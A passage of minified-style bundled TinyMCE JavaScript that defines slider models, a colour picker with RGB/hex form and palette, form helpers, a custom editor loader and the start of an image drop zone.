      return Optional.some(yValue);
    };
    const handleMovement$1 = direction => (spectrum, detail) => moveBy$1(direction, spectrum, detail).map(always);
    const getValueFromEvent$1 = simulatedEvent => {
      const pos = getEventSource(simulatedEvent);
      return pos.map(p => {
        return p.top;
      });
    };
    const findOffsetOfValue = (spectrum, detail, value, minEdge, maxEdge) => {
      const minOffset = 0;
      const maxOffset = getYScreenRange(spectrum);
      const centerMinEdge = minEdge.bind(edge => Optional.some(getYCenterOffSetOf(edge, spectrum))).getOr(minOffset);
      const centerMaxEdge = maxEdge.bind(edge => Optional.some(getYCenterOffSetOf(edge, spectrum))).getOr(maxOffset);
      const args = {
        min: minY(detail),
        max: maxY(detail),
        range: yRange(detail),
        value,
        hasMinEdge: hasTEdge(detail),
        hasMaxEdge: hasBEdge(detail),
        minBound: getMinYBounds(spectrum),
        minOffset,
        maxBound: getMaxYBounds(spectrum),
        maxOffset,
        centerMinEdge,
        centerMaxEdge
      };
      return findOffsetOfValue$2(args);
    };
    const findPositionOfValue = (slider, spectrum, value, minEdge, maxEdge, detail) => {
      const offset = findOffsetOfValue(spectrum, detail, value, minEdge, maxEdge);
      return getMinYBounds(spectrum) - getMinYBounds(slider) + offset;
    };
    const setPositionFromValue$1 = (slider, thumb, detail, edges) => {
      const value = currentValue(detail);
      const pos = findPositionOfValue(slider, edges.getSpectrum(slider), value, edges.getTopEdge(slider), edges.getBottomEdge(slider), detail);
      const thumbRadius = get$d(thumb.element) / 2;
      set$8(thumb.element, 'top', pos - thumbRadius + 'px');
    };
    const onLeft$1 = Optional.none;
    const onRight$1 = Optional.none;
    const onUp$1 = handleMovement$1(-1);
    const onDown$1 = handleMovement$1(1);
    const edgeActions$1 = {
      'top-left': Optional.none(),
      'top': Optional.some(setToTEdge),
      'top-right': Optional.none(),
      'right': Optional.none(),
      'bottom-right': Optional.none(),
      'bottom': Optional.some(setToBEdge),
      'bottom-left': Optional.none(),
      'left': Optional.none()
    };

    var VerticalModel = /*#__PURE__*/Object.freeze({
        __proto__: null,
        setValueFrom: setValueFrom$1,
        setToMin: setToMin$1,
        setToMax: setToMax$1,
        findValueOfOffset: findValueOfOffset,
        getValueFromEvent: getValueFromEvent$1,
        findPositionOfValue: findPositionOfValue,
        setPositionFromValue: setPositionFromValue$1,
        onLeft: onLeft$1,
        onRight: onRight$1,
        onUp: onUp$1,
        onDown: onDown$1,
        edgeActions: edgeActions$1
    });

    const fireSliderChange = (spectrum, value) => {
      emitWith(spectrum, sliderChangeEvent(), { value });
    };
    const sliderValue = (x, y) => ({
      x,
      y
    });
    const setValueFrom = (spectrum, detail, value) => {
      const xValue = findValueOfOffset$1(spectrum, detail, value.left);
      const yValue = findValueOfOffset(spectrum, detail, value.top);
      const val = sliderValue(xValue, yValue);
      fireSliderChange(spectrum, val);
      return val;
    };
    const moveBy = (direction, isVerticalMovement, spectrum, detail) => {
      const f = direction > 0 ? increaseBy : reduceBy;
      const xValue = isVerticalMovement ? currentValue(detail).x : f(currentValue(detail).x, minX(detail), maxX(detail), step(detail));
      const yValue = !isVerticalMovement ? currentValue(detail).y : f(currentValue(detail).y, minY(detail), maxY(detail), step(detail));
      fireSliderChange(spectrum, sliderValue(xValue, yValue));
      return Optional.some(xValue);
    };
    const handleMovement = (direction, isVerticalMovement) => (spectrum, detail) => moveBy(direction, isVerticalMovement, spectrum, detail).map(always);
    const setToMin = (spectrum, detail) => {
      const mX = minX(detail);
      const mY = minY(detail);
      fireSliderChange(spectrum, sliderValue(mX, mY));
    };
    const setToMax = (spectrum, detail) => {
      const mX = maxX(detail);
      const mY = maxY(detail);
      fireSliderChange(spectrum, sliderValue(mX, mY));
    };
    const getValueFromEvent = simulatedEvent => getEventSource(simulatedEvent);
    const setPositionFromValue = (slider, thumb, detail, edges) => {
      const value = currentValue(detail);
      const xPos = findPositionOfValue$1(slider, edges.getSpectrum(slider), value.x, edges.getLeftEdge(slider), edges.getRightEdge(slider), detail);
      const yPos = findPositionOfValue(slider, edges.getSpectrum(slider), value.y, edges.getTopEdge(slider), edges.getBottomEdge(slider), detail);
      const thumbXRadius = get$c(thumb.element) / 2;
      const thumbYRadius = get$d(thumb.element) / 2;
      set$8(thumb.element, 'left', xPos - thumbXRadius + 'px');
      set$8(thumb.element, 'top', yPos - thumbYRadius + 'px');
    };
    const onLeft = handleMovement(-1, false);
    const onRight = handleMovement(1, false);
    const onUp = handleMovement(-1, true);
    const onDown = handleMovement(1, true);
    const edgeActions = {
      'top-left': Optional.some(setToTLEdgeXY),
      'top': Optional.some(setToTEdgeXY),
      'top-right': Optional.some(setToTREdgeXY),
      'right': Optional.some(setToREdgeXY),
      'bottom-right': Optional.some(setToBREdgeXY),
      'bottom': Optional.some(setToBEdgeXY),
      'bottom-left': Optional.some(setToBLEdgeXY),
      'left': Optional.some(setToLEdgeXY)
    };

    var TwoDModel = /*#__PURE__*/Object.freeze({
        __proto__: null,
        setValueFrom: setValueFrom,
        setToMin: setToMin,
        setToMax: setToMax,
        getValueFromEvent: getValueFromEvent,
        setPositionFromValue: setPositionFromValue,
        onLeft: onLeft,
        onRight: onRight,
        onUp: onUp,
        onDown: onDown,
        edgeActions: edgeActions
    });

    const SliderSchema = [
      defaulted('stepSize', 1),
      defaulted('onChange', noop),
      defaulted('onChoose', noop),
      defaulted('onInit', noop),
      defaulted('onDragStart', noop),
      defaulted('onDragEnd', noop),
      defaulted('snapToGrid', false),
      defaulted('rounded', true),
      option$3('snapStart'),
      requiredOf('model', choose$1('mode', {
        x: [
          defaulted('minX', 0),
          defaulted('maxX', 100),
          customField('value', spec => Cell(spec.mode.minX)),
          required$1('getInitialValue'),
          output$1('manager', HorizontalModel)
        ],
        y: [
          defaulted('minY', 0),
          defaulted('maxY', 100),
          customField('value', spec => Cell(spec.mode.minY)),
          required$1('getInitialValue'),
          output$1('manager', VerticalModel)
        ],
        xy: [
          defaulted('minX', 0),
          defaulted('maxX', 100),
          defaulted('minY', 0),
          defaulted('maxY', 100),
          customField('value', spec => Cell({
            x: spec.mode.minX,
            y: spec.mode.minY
          })),
          required$1('getInitialValue'),
          output$1('manager', TwoDModel)
        ]
      })),
      field('sliderBehaviours', [
        Keying,
        Representing
      ]),
      customField('mouseIsDown', () => Cell(false))
    ];

    const sketch$2 = (detail, components, _spec, _externals) => {
      const getThumb = component => getPartOrDie(component, detail, 'thumb');
      const getSpectrum = component => getPartOrDie(component, detail, 'spectrum');
      const getLeftEdge = component => getPart(component, detail, 'left-edge');
      const getRightEdge = component => getPart(component, detail, 'right-edge');
      const getTopEdge = component => getPart(component, detail, 'top-edge');
      const getBottomEdge = component => getPart(component, detail, 'bottom-edge');
      const modelDetail = detail.model;
      const model = modelDetail.manager;
      const refresh = (slider, thumb) => {
        model.setPositionFromValue(slider, thumb, detail, {
          getLeftEdge,
          getRightEdge,
          getTopEdge,
          getBottomEdge,
          getSpectrum
        });
      };
      const setValue = (slider, newValue) => {
        modelDetail.value.set(newValue);
        const thumb = getThumb(slider);
        refresh(slider, thumb);
      };
      const changeValue = (slider, newValue) => {
        setValue(slider, newValue);
        const thumb = getThumb(slider);
        detail.onChange(slider, thumb, newValue);
        return Optional.some(true);
      };
      const resetToMin = slider => {
        model.setToMin(slider, detail);
      };
      const resetToMax = slider => {
        model.setToMax(slider, detail);
      };
      const choose = slider => {
        const fireOnChoose = () => {
          getPart(slider, detail, 'thumb').each(thumb => {
            const value = modelDetail.value.get();
            detail.onChoose(slider, thumb, value);
          });
        };
        const wasDown = detail.mouseIsDown.get();
        detail.mouseIsDown.set(false);
        if (wasDown) {
          fireOnChoose();
        }
      };
      const onDragStart = (slider, simulatedEvent) => {
        simulatedEvent.stop();
        detail.mouseIsDown.set(true);
        detail.onDragStart(slider, getThumb(slider));
      };
      const onDragEnd = (slider, simulatedEvent) => {
        simulatedEvent.stop();
        detail.onDragEnd(slider, getThumb(slider));
        choose(slider);
      };
      return {
        uid: detail.uid,
        dom: detail.dom,
        components,
        behaviours: augment(detail.sliderBehaviours, [
          Keying.config({
            mode: 'special',
            focusIn: slider => {
              return getPart(slider, detail, 'spectrum').map(Keying.focusIn).map(always);
            }
          }),
          Representing.config({
            store: {
              mode: 'manual',
              getValue: _ => {
                return modelDetail.value.get();
              },
              setValue
            }
          }),
          Receiving.config({ channels: { [mouseReleased()]: { onReceive: choose } } })
        ]),
        events: derive$2([
          run$1(sliderChangeEvent(), (slider, simulatedEvent) => {
            changeValue(slider, simulatedEvent.event.value);
          }),
          runOnAttached((slider, _simulatedEvent) => {
            const getInitial = modelDetail.getInitialValue();
            modelDetail.value.set(getInitial);
            const thumb = getThumb(slider);
            refresh(slider, thumb);
            const spectrum = getSpectrum(slider);
            detail.onInit(slider, thumb, spectrum, modelDetail.value.get());
          }),
          run$1(touchstart(), onDragStart),
          run$1(touchend(), onDragEnd),
          run$1(mousedown(), onDragStart),
          run$1(mouseup(), onDragEnd)
        ]),
        apis: {
          resetToMin,
          resetToMax,
          setValue,
          refresh
        },
        domModification: { styles: { position: 'relative' } }
      };
    };

    const Slider = composite({
      name: 'Slider',
      configFields: SliderSchema,
      partFields: SliderParts,
      factory: sketch$2,
      apis: {
        setValue: (apis, slider, value) => {
          apis.setValue(slider, value);
        },
        resetToMin: (apis, slider) => {
          apis.resetToMin(slider);
        },
        resetToMax: (apis, slider) => {
          apis.resetToMax(slider);
        },
        refresh: (apis, slider) => {
          apis.refresh(slider);
        }
      }
    });

    const fieldsUpdate = generate$6('rgb-hex-update');
    const sliderUpdate = generate$6('slider-update');
    const paletteUpdate = generate$6('palette-update');

    const sliderFactory = (translate, getClass) => {
      const spectrum = Slider.parts.spectrum({
        dom: {
          tag: 'div',
          classes: [getClass('hue-slider-spectrum')],
          attributes: { role: 'presentation' }
        }
      });
      const thumb = Slider.parts.thumb({
        dom: {
          tag: 'div',
          classes: [getClass('hue-slider-thumb')],
          attributes: { role: 'presentation' }
        }
      });
      return Slider.sketch({
        dom: {
          tag: 'div',
          classes: [getClass('hue-slider')],
          attributes: { role: 'presentation' }
        },
        rounded: false,
        model: {
          mode: 'y',
          getInitialValue: constant$1(0)
        },
        components: [
          spectrum,
          thumb
        ],
        sliderBehaviours: derive$1([Focusing.config({})]),
        onChange: (slider, _thumb, value) => {
          emitWith(slider, sliderUpdate, { value });
        }
      });
    };

    const owner$1 = 'form';
    const schema$i = [field('formBehaviours', [Representing])];
    const getPartName$1 = name => '<alloy.field.' + name + '>';
    const sketch$1 = fSpec => {
      const parts = (() => {
        const record = [];
        const field = (name, config) => {
          record.push(name);
          return generateOne$1(owner$1, getPartName$1(name), config);
        };
        return {
          field,
          record: constant$1(record)
        };
      })();
      const spec = fSpec(parts);
      const partNames = parts.record();
      const fieldParts = map$2(partNames, n => required({
        name: n,
        pname: getPartName$1(n)
      }));
      return composite$1(owner$1, schema$i, fieldParts, make$4, spec);
    };
    const toResult = (o, e) => o.fold(() => Result.error(e), Result.value);
    const make$4 = (detail, components) => ({
      uid: detail.uid,
      dom: detail.dom,
      components,
      behaviours: augment(detail.formBehaviours, [Representing.config({
          store: {
            mode: 'manual',
            getValue: form => {
              const resPs = getAllParts(form, detail);
              return map$1(resPs, (resPThunk, pName) => resPThunk().bind(v => {
                const opt = Composing.getCurrent(v);
                return toResult(opt, new Error(`Cannot find a current component to extract the value from for form part '${ pName }': ` + element(v.element)));
              }).map(Representing.getValue));
            },
            setValue: (form, values) => {
              each(values, (newValue, key) => {
                getPart(form, detail, key).each(wrapper => {
                  Composing.getCurrent(wrapper).each(field => {
                    Representing.setValue(field, newValue);
                  });
                });
              });
            }
          }
        })]),
      apis: {
        getField: (form, key) => {
          return getPart(form, detail, key).bind(Composing.getCurrent);
        }
      }
    });
    const Form = {
      getField: makeApi((apis, component, key) => apis.getField(component, key)),
      sketch: sketch$1
    };

    const validInput = generate$6('valid-input');
    const invalidInput = generate$6('invalid-input');
    const validatingInput = generate$6('validating-input');
    const translatePrefix = 'colorcustom.rgb.';
    const rgbFormFactory = (translate, getClass, onValidHexx, onInvalidHexx) => {
      const invalidation = (label, isValid) => Invalidating.config({
        invalidClass: getClass('invalid'),
        notify: {
          onValidate: comp => {
            emitWith(comp, validatingInput, { type: label });
          },
          onValid: comp => {
            emitWith(comp, validInput, {
              type: label,
              value: Representing.getValue(comp)
            });
          },
          onInvalid: comp => {
            emitWith(comp, invalidInput, {
              type: label,
              value: Representing.getValue(comp)
            });
          }
        },
        validator: {
          validate: comp => {
            const value = Representing.getValue(comp);
            const res = isValid(value) ? Result.value(true) : Result.error(translate('aria.input.invalid'));
            return Future.pure(res);
          },
          validateOnLoad: false
        }
      });
      const renderTextField = (isValid, name, label, description, data) => {
        const helptext = translate(translatePrefix + 'range');
        const pLabel = FormField.parts.label({
          dom: {
            tag: 'label',
            attributes: { 'aria-label': description }
          },
          components: [text$2(label)]
        });
        const pField = FormField.parts.field({
          data,
          factory: Input,
          inputAttributes: {
            type: 'text',
            ...name === 'hex' ? { 'aria-live': 'polite' } : {}
          },
          inputClasses: [getClass('textfield')],
          inputBehaviours: derive$1([
            invalidation(name, isValid),
            Tabstopping.config({})
          ]),
          onSetValue: input => {
            if (Invalidating.isInvalid(input)) {
              const run = Invalidating.run(input);
              run.get(noop);
            }
          }
        });
        const comps = [
          pLabel,
          pField
        ];
        const concats = name !== 'hex' ? [FormField.parts['aria-descriptor']({ text: helptext })] : [];
        const components = comps.concat(concats);
        return {
          dom: {
            tag: 'div',
            attributes: { role: 'presentation' }
          },
          components
        };
      };
      const copyRgbToHex = (form, rgba) => {
        const hex = fromRgba(rgba);
        Form.getField(form, 'hex').each(hexField => {
          if (!Focusing.isFocused(hexField)) {
            Representing.setValue(form, { hex: hex.value });
          }
        });
        return hex;
      };
      const copyRgbToForm = (form, rgb) => {
        const red = rgb.red;
        const green = rgb.green;
        const blue = rgb.blue;
        Representing.setValue(form, {
          red,
          green,
          blue
        });
      };
      const memPreview = record({
        dom: {
          tag: 'div',
          classes: [getClass('rgba-preview')],
          styles: { 'background-color': 'white' },
          attributes: { role: 'presentation' }
        }
      });
      const updatePreview = (anyInSystem, hex) => {
        memPreview.getOpt(anyInSystem).each(preview => {
          set$8(preview.element, 'background-color', '#' + hex.value);
        });
      };
      const factory = () => {
        const state = {
          red: Cell(Optional.some(255)),
          green: Cell(Optional.some(255)),
          blue: Cell(Optional.some(255)),
          hex: Cell(Optional.some('ffffff'))
        };
        const copyHexToRgb = (form, hex) => {
          const rgb = fromHex(hex);
          copyRgbToForm(form, rgb);
          setValueRgb(rgb);
        };
        const get = prop => state[prop].get();
        const set = (prop, value) => {
          state[prop].set(value);
        };
        const getValueRgb = () => get('red').bind(red => get('green').bind(green => get('blue').map(blue => rgbaColour(red, green, blue, 1))));
        const setValueRgb = rgb => {
          const red = rgb.red;
          const green = rgb.green;
          const blue = rgb.blue;
          set('red', Optional.some(red));
          set('green', Optional.some(green));
          set('blue', Optional.some(blue));
        };
        const onInvalidInput = (form, simulatedEvent) => {
          const data = simulatedEvent.event;
          if (data.type !== 'hex') {
            set(data.type, Optional.none());
          } else {
            onInvalidHexx(form);
          }
        };
        const onValidHex = (form, value) => {
          onValidHexx(form);
          const hex = hexColour(value);
          set('hex', Optional.some(value));
          const rgb = fromHex(hex);
          copyRgbToForm(form, rgb);
          setValueRgb(rgb);
          emitWith(form, fieldsUpdate, { hex });
          updatePreview(form, hex);
        };
        const onValidRgb = (form, prop, value) => {
          const val = parseInt(value, 10);
          set(prop, Optional.some(val));
          getValueRgb().each(rgb => {
            const hex = copyRgbToHex(form, rgb);
            emitWith(form, fieldsUpdate, { hex });
            updatePreview(form, hex);
          });
        };
        const isHexInputEvent = data => data.type === 'hex';
        const onValidInput = (form, simulatedEvent) => {
          const data = simulatedEvent.event;
          if (isHexInputEvent(data)) {
            onValidHex(form, data.value);
          } else {
            onValidRgb(form, data.type, data.value);
          }
        };
        const formPartStrings = key => ({
          label: translate(translatePrefix + key + '.label'),
          description: translate(translatePrefix + key + '.description')
        });
        const redStrings = formPartStrings('red');
        const greenStrings = formPartStrings('green');
        const blueStrings = formPartStrings('blue');
        const hexStrings = formPartStrings('hex');
        return deepMerge(Form.sketch(parts => ({
          dom: {
            tag: 'form',
            classes: [getClass('rgb-form')],
            attributes: { 'aria-label': translate('aria.color.picker') }
          },
          components: [
            parts.field('red', FormField.sketch(renderTextField(isRgbaComponent, 'red', redStrings.label, redStrings.description, 255))),
            parts.field('green', FormField.sketch(renderTextField(isRgbaComponent, 'green', greenStrings.label, greenStrings.description, 255))),
            parts.field('blue', FormField.sketch(renderTextField(isRgbaComponent, 'blue', blueStrings.label, blueStrings.description, 255))),
            parts.field('hex', FormField.sketch(renderTextField(isHexString, 'hex', hexStrings.label, hexStrings.description, 'ffffff'))),
            memPreview.asSpec()
          ],
          formBehaviours: derive$1([
            Invalidating.config({ invalidClass: getClass('form-invalid') }),
            config('rgb-form-events', [
              run$1(validInput, onValidInput),
              run$1(invalidInput, onInvalidInput),
              run$1(validatingInput, onInvalidInput)
            ])
          ])
        })), {
          apis: {
            updateHex: (form, hex) => {
              Representing.setValue(form, { hex: hex.value });
              copyHexToRgb(form, hex);
              updatePreview(form, hex);
            }
          }
        });
      };
      const rgbFormSketcher = single({
        factory,
        name: 'RgbForm',
        configFields: [],
        apis: {
          updateHex: (apis, form, hex) => {
            apis.updateHex(form, hex);
          }
        },
        extraApis: {}
      });
      return rgbFormSketcher;
    };

    const paletteFactory = (_translate, getClass) => {
      const spectrumPart = Slider.parts.spectrum({
        dom: {
          tag: 'canvas',
          attributes: { role: 'presentation' },
          classes: [getClass('sv-palette-spectrum')]
        }
      });
      const thumbPart = Slider.parts.thumb({
        dom: {
          tag: 'div',
          attributes: { role: 'presentation' },
          classes: [getClass('sv-palette-thumb')],
          innerHtml: `<div class=${ getClass('sv-palette-inner-thumb') } role="presentation"></div>`
        }
      });
      const setColour = (canvas, rgba) => {
        const {width, height} = canvas;
        const ctx = canvas.getContext('2d');
        if (ctx === null) {
          return;
        }
        ctx.fillStyle = rgba;
        ctx.fillRect(0, 0, width, height);
        const grdWhite = ctx.createLinearGradient(0, 0, width, 0);
        grdWhite.addColorStop(0, 'rgba(255,255,255,1)');
        grdWhite.addColorStop(1, 'rgba(255,255,255,0)');
        ctx.fillStyle = grdWhite;
        ctx.fillRect(0, 0, width, height);
        const grdBlack = ctx.createLinearGradient(0, 0, 0, height);
        grdBlack.addColorStop(0, 'rgba(0,0,0,0)');
        grdBlack.addColorStop(1, 'rgba(0,0,0,1)');
        ctx.fillStyle = grdBlack;
        ctx.fillRect(0, 0, width, height);
      };
      const setPaletteHue = (slider, hue) => {
        const canvas = slider.components()[0].element.dom;
        const hsv = hsvColour(hue, 100, 100);
        const rgba = fromHsv(hsv);
        setColour(canvas, toString(rgba));
      };
      const setPaletteThumb = (slider, hex) => {
        const hsv = fromRgb(fromHex(hex));
        Slider.setValue(slider, {
          x: hsv.saturation,
          y: 100 - hsv.value
        });
      };
      const factory = _detail => {
        const getInitialValue = constant$1({
          x: 0,
          y: 0
        });
        const onChange = (slider, _thumb, value) => {
          emitWith(slider, paletteUpdate, { value });
        };
        const onInit = (_slider, _thumb, spectrum, _value) => {
          setColour(spectrum.element.dom, toString(red));
        };
        const sliderBehaviours = derive$1([
          Composing.config({ find: Optional.some }),
          Focusing.config({})
        ]);
        return Slider.sketch({
          dom: {
            tag: 'div',
            attributes: { role: 'presentation' },
            classes: [getClass('sv-palette')]
          },
          model: {
            mode: 'xy',
            getInitialValue
          },
          rounded: false,
          components: [
            spectrumPart,
            thumbPart
          ],
          onChange,
          onInit,
          sliderBehaviours
        });
      };
      const saturationBrightnessPaletteSketcher = single({
        factory,
        name: 'SaturationBrightnessPalette',
        configFields: [],
        apis: {
          setHue: (_apis, slider, hue) => {
            setPaletteHue(slider, hue);
          },
          setThumb: (_apis, slider, hex) => {
            setPaletteThumb(slider, hex);
          }
        },
        extraApis: {}
      });
      return saturationBrightnessPaletteSketcher;
    };

    const makeFactory = (translate, getClass) => {
      const factory = detail => {
        const rgbForm = rgbFormFactory(translate, getClass, detail.onValidHex, detail.onInvalidHex);
        const sbPalette = paletteFactory(translate, getClass);
        const hueSliderToDegrees = hue => (100 - hue) / 100 * 360;
        const hueDegreesToSlider = hue => 100 - hue / 360 * 100;
        const state = {
          paletteRgba: Cell(red),
          paletteHue: Cell(0)
        };
        const memSlider = record(sliderFactory(translate, getClass));
        const memPalette = record(sbPalette.sketch({}));
        const memRgb = record(rgbForm.sketch({}));
        const updatePalette = (anyInSystem, _hex, hue) => {
          memPalette.getOpt(anyInSystem).each(palette => {
            sbPalette.setHue(palette, hue);
          });
        };
        const updateFields = (anyInSystem, hex) => {
          memRgb.getOpt(anyInSystem).each(form => {
            rgbForm.updateHex(form, hex);
          });
        };
        const updateSlider = (anyInSystem, _hex, hue) => {
          memSlider.getOpt(anyInSystem).each(slider => {
            Slider.setValue(slider, hueDegreesToSlider(hue));
          });
        };
        const updatePaletteThumb = (anyInSystem, hex) => {
          memPalette.getOpt(anyInSystem).each(palette => {
            sbPalette.setThumb(palette, hex);
          });
        };
        const updateState = (hex, hue) => {
          const rgba = fromHex(hex);
          state.paletteRgba.set(rgba);
          state.paletteHue.set(hue);
        };
        const runUpdates = (anyInSystem, hex, hue, updates) => {
          updateState(hex, hue);
          each$1(updates, update => {
            update(anyInSystem, hex, hue);
          });
        };
        const onPaletteUpdate = () => {
          const updates = [updateFields];
          return (form, simulatedEvent) => {
            const value = simulatedEvent.event.value;
            const oldHue = state.paletteHue.get();
            const newHsv = hsvColour(oldHue, value.x, 100 - value.y);
            const newHex = hsvToHex(newHsv);
            runUpdates(form, newHex, oldHue, updates);
          };
        };
        const onSliderUpdate = () => {
          const updates = [
            updatePalette,
            updateFields
          ];
          return (form, simulatedEvent) => {
            const hue = hueSliderToDegrees(simulatedEvent.event.value);
            const oldRgb = state.paletteRgba.get();
            const oldHsv = fromRgb(oldRgb);
            const newHsv = hsvColour(hue, oldHsv.saturation, oldHsv.value);
            const newHex = hsvToHex(newHsv);
            runUpdates(form, newHex, hue, updates);
          };
        };
        const onFieldsUpdate = () => {
          const updates = [
            updatePalette,
            updateSlider,
            updatePaletteThumb
          ];
          return (form, simulatedEvent) => {
            const hex = simulatedEvent.event.hex;
            const hsv = hexToHsv(hex);
            runUpdates(form, hex, hsv.hue, updates);
          };
        };
        return {
          uid: detail.uid,
          dom: detail.dom,
          components: [
            memPalette.asSpec(),
            memSlider.asSpec(),
            memRgb.asSpec()
          ],
          behaviours: derive$1([
            config('colour-picker-events', [
              run$1(fieldsUpdate, onFieldsUpdate()),
              run$1(paletteUpdate, onPaletteUpdate()),
              run$1(sliderUpdate, onSliderUpdate())
            ]),
            Composing.config({ find: comp => memRgb.getOpt(comp) }),
            Keying.config({ mode: 'acyclic' })
          ])
        };
      };
      const colourPickerSketcher = single({
        name: 'ColourPicker',
        configFields: [
          required$1('dom'),
          defaulted('onValidHex', noop),
          defaulted('onInvalidHex', noop)
        ],
        factory
      });
      return colourPickerSketcher;
    };

    const self = () => Composing.config({ find: Optional.some });
    const memento$1 = mem => Composing.config({ find: mem.getOpt });
    const childAt = index => Composing.config({ find: comp => child$2(comp.element, index).bind(element => comp.getSystem().getByDom(element).toOptional()) });
    const ComposingConfigs = {
      self,
      memento: memento$1,
      childAt
    };

    const processors = objOf([
      defaulted('preprocess', identity),
      defaulted('postprocess', identity)
    ]);
    const memento = (mem, rawProcessors) => {
      const ps = asRawOrDie$1('RepresentingConfigs.memento processors', processors, rawProcessors);
      return Representing.config({
        store: {
          mode: 'manual',
          getValue: comp => {
            const other = mem.get(comp);
            const rawValue = Representing.getValue(other);
            return ps.postprocess(rawValue);
          },
          setValue: (comp, rawValue) => {
            const newValue = ps.preprocess(rawValue);
            const other = mem.get(comp);
            Representing.setValue(other, newValue);
          }
        }
      });
    };
    const withComp = (optInitialValue, getter, setter) => Representing.config({
      store: {
        mode: 'manual',
        ...optInitialValue.map(initialValue => ({ initialValue })).getOr({}),
        getValue: getter,
        setValue: setter
      }
    });
    const withElement = (initialValue, getter, setter) => withComp(initialValue, c => getter(c.element), (c, v) => setter(c.element, v));
    const domValue = optInitialValue => withElement(optInitialValue, get$6, set$5);
    const domHtml = optInitialValue => withElement(optInitialValue, get$9, set$6);
    const memory = initialValue => Representing.config({
      store: {
        mode: 'memory',
        initialValue
      }
    });
    const RepresentingConfigs = {
      memento,
      withElement,
      withComp,
      domValue,
      domHtml,
      memory
    };

    const english = {
      'colorcustom.rgb.red.label': 'R',
      'colorcustom.rgb.red.description': 'Red component',
      'colorcustom.rgb.green.label': 'G',
      'colorcustom.rgb.green.description': 'Green component',
      'colorcustom.rgb.blue.label': 'B',
      'colorcustom.rgb.blue.description': 'Blue component',
      'colorcustom.rgb.hex.label': '#',
      'colorcustom.rgb.hex.description': 'Hex color code',
      'colorcustom.rgb.range': 'Range 0 to 255',
      'aria.color.picker': 'Color Picker',
      'aria.input.invalid': 'Invalid input'
    };
    const translate$1 = providerBackstage => key => {
      return providerBackstage.translate(english[key]);
    };
    const renderColorPicker = (_spec, providerBackstage, initialData) => {
      const getClass = key => 'tox-' + key;
      const colourPickerFactory = makeFactory(translate$1(providerBackstage), getClass);
      const onValidHex = form => {
        emitWith(form, formActionEvent, {
          name: 'hex-valid',
          value: true
        });
      };
      const onInvalidHex = form => {
        emitWith(form, formActionEvent, {
          name: 'hex-valid',
          value: false
        });
      };
      const memPicker = record(colourPickerFactory.sketch({
        dom: {
          tag: 'div',
          classes: [getClass('color-picker-container')],
          attributes: { role: 'presentation' }
        },
        onValidHex,
        onInvalidHex
      }));
      return {
        dom: { tag: 'div' },
        components: [memPicker.asSpec()],
        behaviours: derive$1([
          RepresentingConfigs.withComp(initialData, comp => {
            const picker = memPicker.get(comp);
            const optRgbForm = Composing.getCurrent(picker);
            const optHex = optRgbForm.bind(rgbForm => {
              const formValues = Representing.getValue(rgbForm);
              return formValues.hex;
            });
            return optHex.map(hex => '#' + hex).getOr('');
          }, (comp, newValue) => {
            const pattern = /^#([a-fA-F0-9]{3}(?:[a-fA-F0-9]{3})?)/;
            const valOpt = Optional.from(pattern.exec(newValue)).bind(matches => get$h(matches, 1));
            const picker = memPicker.get(comp);
            const optRgbForm = Composing.getCurrent(picker);
            optRgbForm.fold(() => {
              console.log('Can not find form');
            }, rgbForm => {
              Representing.setValue(rgbForm, { hex: valOpt.getOr('') });
              Form.getField(rgbForm, 'hex').each(hexField => {
                emit(hexField, input());
              });
            });
          }),
          ComposingConfigs.self()
        ])
      };
    };

    var global$2 = tinymce.util.Tools.resolve('tinymce.Resource');

    const isOldCustomEditor = spec => has$2(spec, 'init');
    const renderCustomEditor = spec => {
      const editorApi = value$2();
      const memReplaced = record({ dom: { tag: spec.tag } });
      const initialValue = value$2();
      return {
        dom: {
          tag: 'div',
          classes: ['tox-custom-editor']
        },
        behaviours: derive$1([
          config('custom-editor-events', [runOnAttached(component => {
              memReplaced.getOpt(component).each(ta => {
                (isOldCustomEditor(spec) ? spec.init(ta.element.dom) : global$2.load(spec.scriptId, spec.scriptUrl).then(init => init(ta.element.dom, spec.settings))).then(ea => {
                  initialValue.on(cvalue => {
                    ea.setValue(cvalue);
                  });
                  initialValue.clear();
                  editorApi.set(ea);
                });
              });
            })]),
          RepresentingConfigs.withComp(Optional.none(), () => editorApi.get().fold(() => initialValue.get().getOr(''), ed => ed.getValue()), (component, value) => {
            editorApi.get().fold(() => initialValue.set(value), ed => ed.setValue(value));
          }),
          ComposingConfigs.self()
        ]),
        components: [memReplaced.asSpec()]
      };
    };

    var global$1 = tinymce.util.Tools.resolve('tinymce.util.Tools');

    const filterByExtension = (files, providersBackstage) => {
      const allowedImageFileTypes = global$1.explode(providersBackstage.getOption('images_file_types'));
      const isFileInAllowedTypes = file => exists(allowedImageFileTypes, type => endsWith(file.name.toLowerCase(), `.${ type.toLowerCase() }`));
      return filter$2(from(files), isFileInAllowedTypes);
    };
    const renderDropZone = (spec, providersBackstage, initialData) => {
      const stopper = (_, se) => {
        se.stop();
      };
      const sequence = actions => (comp, se) => {
        each$1(actions, a => {
          a(comp, se);
        });
      };
      const onDrop = (comp, se) => {
        var _a;
        if (!Disabling.isDisabled(comp)) {
          const transferEvent = se.event.raw;
          handleFiles(comp, (_a = transferEvent.dataTransfer) === null || _a === void 0 ? void 0 : _a.files);
        }
      };
      const onSelect = (component, simulatedEvent) => {
        const input = simulatedEvent.event.raw.target;
        handleFiles(component, input.files);
      };
      const handleFiles = (component, files) => {
        if (files) {
          Representing.setValue(component, filterByExtension(files, providersBackstage));
          emitWith(component, formChangeEvent, { name: spec.name });
        }
      };
      const memInput = record({
        dom: {
          tag: 'input',
          attributes: {
            type: 'file',
            accept: 'image/*'
          },
          styles: { display: 'none' }
        },
        behaviours: derive$1([config('input-file-events', [
            cutter(click()),
            cutter(tap())
          ])])
      });
      const renderField = s => ({
        uid: s.uid,
        dom: {
          tag: 'div',
          classes: ['tox-dropzone-container']
        },
        behaviours: derive$1([
          RepresentingConfigs.memory(initialData.getOr([])),
          ComposingConfigs.self(),
          Disabling.config({}),
          Toggling.config({
            toggleClass: 'dragenter',
            toggleOnExecute: false
          }),
          config('dropzone-events', [
            run$1('dragenter', sequence([
              stopper,
              Toggling.toggle
            ])),
            run$1('dragleave', sequence([
              stopper,
              Toggling.toggle
            ])),
            run$1('dragover', stopper),
            run$1('drop', sequence([
              stopper,
              onDrop
            ])),
            run$1(change(), onSelect)
          ])
        ]),
        components: [{
            dom: {
              tag: 'div',
              classes: ['tox-dropzone'],
              styles: {}
            },
            components: [
              {
                dom: { tag: 'p' },
                components: [text$2(providersBackstage.translate('Drop an image here'))]
              },
              Button.sketch({
